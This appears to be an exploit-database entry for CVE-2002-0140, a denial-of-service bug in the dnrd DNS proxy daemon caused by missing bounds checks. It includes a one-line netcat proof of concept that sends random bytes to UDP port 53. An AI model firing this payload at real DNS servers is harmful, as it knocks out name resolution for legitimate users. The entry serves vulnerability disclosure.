DNRD 1.x/2.x - DNS Request/Reply Denial of Service

Author: Andrew Griffiths
type: dos
platform: unix
port: 
date_added: 2002-01-20 
date_updated: 2012-09-10 
verified: 1 
codes: CVE-2002-0140;OSVDB-14299 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/3928/info

dnrd (Domain Name Relay Daemon) is a freely available, open-source proxy name server. It will run on a number of Unix and Linux distributions.

There is a lack of sufficient bounds checking in DNS request and reply functions. As a result, it is possible for a remote attacker to cause a denial of service to legitimate users of dnrd.

It is not known whether it is possible to execute arbitrary attacker-supplied instructions as a result of this vulnerability.

dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1